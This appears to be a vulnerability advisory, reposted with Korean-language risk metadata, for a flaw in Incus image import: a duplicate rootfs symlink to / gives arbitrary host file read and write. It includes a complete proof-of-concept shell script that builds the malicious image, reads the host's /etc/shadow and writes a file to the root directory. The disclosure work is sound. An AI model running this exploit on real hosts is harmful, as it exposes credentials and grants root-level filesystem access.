Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H상세 설명
Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.
1metadata.yaml 2rootfs/ 3rootfs -> /In practice, this allows a malicious actor to access the host's filesystem with root privileges.
PoC
Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.
1#!/bin/sh 2set -eu 3 4tmpdir=$(mktemp -d) 5cleanup() { 6 rm -rf "${tmpdir}" 7} 8trap cleanup EXIT INT QUIT TERM HUP 9 10mkdir -p "${tmpdir}/img/rootfs"11cat<<__EOF__>"${tmpdir}/img/metadata.yaml"12architecture: x86_6413creation_date: 114properties:15 description: PoC rootfs symlink host afrw16__EOF__17 18cd "${tmpdir}/img"19tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar20 21# inject rootfs symlink22rmdir rootfs23ln -s / rootfs24tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs25 26 27incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink28incus init afrw-rootfs-symlink afrw-rootfs-symlink29 30 31# read32incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"33cat "${tmpdir}/shadow"34 35# write36printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"37incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.